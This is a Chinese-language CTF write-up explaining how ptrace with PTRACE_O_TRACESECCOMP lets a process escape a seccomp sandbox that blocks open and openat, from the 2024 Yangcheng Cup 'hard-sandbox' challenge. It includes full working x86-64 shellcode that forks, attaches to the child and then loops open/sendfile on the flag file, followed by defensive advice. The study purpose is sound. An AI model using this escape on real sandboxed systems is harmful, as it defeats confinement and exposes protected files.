基于ptrace的沙箱绕过
字数 1698 2025-08-20 18:17:47

基于ptrace的沙箱绕过技术详解

前言

本文详细讲解如何利用ptrace机制绕过基于seccomp的沙箱限制,特别是在2024羊城杯CTF比赛中遇到的hard-sandbox题目场景。该题目禁用了open和openat系统调用,同时阻止了32位系统调用(retfq也无法使用),通过ptrace技术可以成功绕过这些限制。

ptrace基础原理

ptrace概述

ptrace是Linux系统提供的一个系统调用,允许一个进程(父进程/tracer)监视和控制另一个进程(子进程/tracee)的执行,并能修改被监视进程的内存和寄存器。主要应用于:

  1. 断点调试
  2. 系统调用跟踪
  3. 进程状态监控

常见的调试工具如strace和gdb都是基于ptrace实现的。

ptrace函数原型

#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

参数说明:

  • request: 要执行的操作类型
  • pid: 目标进程ID
  • addr: 要监控的目标内存地址
  • data: 保存读取或写入的数据

ptrace内核实现

ptrace的内核实现位于kernel/ptrace.c文件中,核心接口为:

SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, unsigned long, data)

ptrace关键操作

建立追踪关系

在进行追踪前需要先建立追踪关系,相关request参数:

  1. PTRACE_TRACEME: tracee表明自己想要被追踪,自动与父进程建立追踪关系
  2. PTRACE_ATTACH: tracer附着一个进程tracee,建立追踪关系并发送SIGSTOP信号使其暂停
  3. PTRACE_SEIZE: 类似PTRACE_ATTACH但不暂停tracee
  4. PTRACE_DETACH: 解除追踪关系,tracee继续运行

常用request参数

  • PTRACE_POKETEXT/PTRACE_POKEDATA: 往内存地址写入数据
  • PTRACE_PEEKTEXT/PTRACE_PEEKDATA: 从内存地址读取数据
  • PTRACE_GETREGS: 读取所有寄存器值
  • PTRACE_SETREGS: 设置寄存器值
  • PTRACE_CONT: 继续执行被跟踪的子进程
  • PTRACE_O_TRACESECCOMP: 跟踪seccomp事件

ptrace绕过seccomp沙箱的原理

关键发现:当追踪器被通知后,seccomp检查不会再次运行。这意味着:

  1. 基于seccomp的沙箱必须禁止ptrace的使用
  2. 如果沙箱没有完全禁止ptrace,可以通过ptrace机制逃逸
  3. 第一次触发seccomp后,后续不会再次触发,沙箱限制失效

实际利用步骤

1. 父进程设置

父进程(tracer)需要完成以下操作:

  1. 使用fork()创建子进程
  2. 通过PTRACE_ATTACH附加到子进程
  3. 使用PTRACE_SETOPTIONS设置PTRACE_O_TRACESECCOMP选项
  4. 监控子进程状态并继续执行

2. 子进程执行

子进程(tracee)在被追踪后可以:

  1. 尝试执行被沙箱限制的系统调用
  2. 第一次会被seccomp拦截
  3. 父进程处理后,后续调用将不受限制

3. 关键代码实现

# 父进程设置ptrace
shellcode = shellcraft.fork()
shellcode += '''
test eax,eax
js exit
mov r15,rax
cmp rax,0
je child_process

parent_process:
/* PTRACE_ATTACH */
xor r10d, r10d
push 0x10
pop rdi
xor edx, edx
mov rsi, r15
push 101
pop rax
syscall

/* PTRACE_SETOPTIONS PTRACE_O_TRACESECCOMP */
xor r10d, r10d
mov r10b, 0x80
mov edi, 0x1010101
xor edi, 0x1014301
xor edx, edx
mov rsi, r15
push 101
pop rax
syscall

monitor_child:
/* wait4 */
xor r10d, r10d
xor edi, edi
xor edx, edx
xor esi, esi
push 61
pop rax
syscall

/* PTRACE_CONT */
xor r10d, r10d
push 7
pop rdi
xor edx, edx
mov rsi, r15
push 101
pop rax
syscall
jmp monitor_child

child_process:
/* 尝试执行被限制的系统调用 */
/* open('./flag') */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push 2
pop rax
syscall

/* sendfile输出flag */
push 0x50
pop r10
push 1
pop rdi
xor edx, edx
mov rsi, rax
push 40
pop rax
syscall

/* 失败则重试 */
cmp rax,0
jle child_process

exit:
mov rax, 60
xor rdi, rdi
syscall
'''

注意事项

  1. 执行顺序问题:父进程必须先完成ptrace设置,子进程才能绕过沙箱
  2. 失败处理:子进程应循环尝试被限制的系统调用,直到父进程完成设置
  3. 沙箱设计缺陷:沙箱应完全禁止ptrace使用,否则可能被绕过

完整利用流程

  1. 泄露必要的地址信息(如libc基址、堆地址)
  2. 准备shellcode实现ptrace父子进程交互
  3. 父进程设置ptrace跟踪并配置PTRACE_O_TRACESECCOMP
  4. 子进程尝试执行被限制的系统调用(如open、sendfile)
  5. 通过循环确保在沙箱被绕过后成功执行目标操作

防御建议

  1. 完全禁止沙箱进程使用ptrace
  2. 使用更严格的seccomp策略
  3. 考虑使用其他沙箱技术如namespace、cgroup等

总结

ptrace机制提供了强大的进程控制能力,但也可能被用于绕过安全限制。理解ptrace的工作原理对于安全开发和漏洞利用都至关重要。在实际应用中,应当谨慎评估ptrace的使用场景和安全影响。

基于ptrace的沙箱绕过技术详解 前言 本文详细讲解如何利用ptrace机制绕过基于seccomp的沙箱限制,特别是在2024羊城杯CTF比赛中遇到的hard-sandbox题目场景。该题目禁用了open和openat系统调用,同时阻止了32位系统调用(retfq也无法使用),通过ptrace技术可以成功绕过这些限制。 ptrace基础原理 ptrace概述 ptrace是Linux系统提供的一个系统调用,允许一个进程(父进程/tracer)监视和控制另一个进程(子进程/tracee)的执行,并能修改被监视进程的内存和寄存器。主要应用于: 断点调试 系统调用跟踪 进程状态监控 常见的调试工具如strace和gdb都是基于ptrace实现的。 ptrace函数原型 参数说明: request : 要执行的操作类型 pid : 目标进程ID addr : 要监控的目标内存地址 data : 保存读取或写入的数据 ptrace内核实现 ptrace的内核实现位于 kernel/ptrace.c 文件中,核心接口为: ptrace关键操作 建立追踪关系 在进行追踪前需要先建立追踪关系,相关request参数: PTRACE_ TRACEME : tracee表明自己想要被追踪,自动与父进程建立追踪关系 PTRACE_ ATTACH : tracer附着一个进程tracee,建立追踪关系并发送SIGSTOP信号使其暂停 PTRACE_ SEIZE : 类似PTRACE_ ATTACH但不暂停tracee PTRACE_ DETACH : 解除追踪关系,tracee继续运行 常用request参数 PTRACE_POKETEXT/PTRACE_POKEDATA : 往内存地址写入数据 PTRACE_PEEKTEXT/PTRACE_PEEKDATA : 从内存地址读取数据 PTRACE_GETREGS : 读取所有寄存器值 PTRACE_SETREGS : 设置寄存器值 PTRACE_CONT : 继续执行被跟踪的子进程 PTRACE_O_TRACESECCOMP : 跟踪seccomp事件 ptrace绕过seccomp沙箱的原理 关键发现: 当追踪器被通知后,seccomp检查不会再次运行 。这意味着: 基于seccomp的沙箱必须禁止ptrace的使用 如果沙箱没有完全禁止ptrace,可以通过ptrace机制逃逸 第一次触发seccomp后,后续不会再次触发,沙箱限制失效 实际利用步骤 1. 父进程设置 父进程(tracer)需要完成以下操作: 使用 fork() 创建子进程 通过 PTRACE_ATTACH 附加到子进程 使用 PTRACE_SETOPTIONS 设置 PTRACE_O_TRACESECCOMP 选项 监控子进程状态并继续执行 2. 子进程执行 子进程(tracee)在被追踪后可以: 尝试执行被沙箱限制的系统调用 第一次会被seccomp拦截 父进程处理后,后续调用将不受限制 3. 关键代码实现 注意事项 执行顺序问题 :父进程必须先完成ptrace设置,子进程才能绕过沙箱 失败处理 :子进程应循环尝试被限制的系统调用,直到父进程完成设置 沙箱设计缺陷 :沙箱应完全禁止ptrace使用,否则可能被绕过 完整利用流程 泄露必要的地址信息(如libc基址、堆地址) 准备shellcode实现ptrace父子进程交互 父进程设置ptrace跟踪并配置 PTRACE_O_TRACESECCOMP 子进程尝试执行被限制的系统调用(如open、sendfile) 通过循环确保在沙箱被绕过后成功执行目标操作 防御建议 完全禁止沙箱进程使用ptrace 使用更严格的seccomp策略 考虑使用其他沙箱技术如namespace、cgroup等 总结 ptrace机制提供了强大的进程控制能力,但也可能被用于绕过安全限制。理解ptrace的工作原理对于安全开发和漏洞利用都至关重要。在实际应用中,应当谨慎评估ptrace的使用场景和安全影响。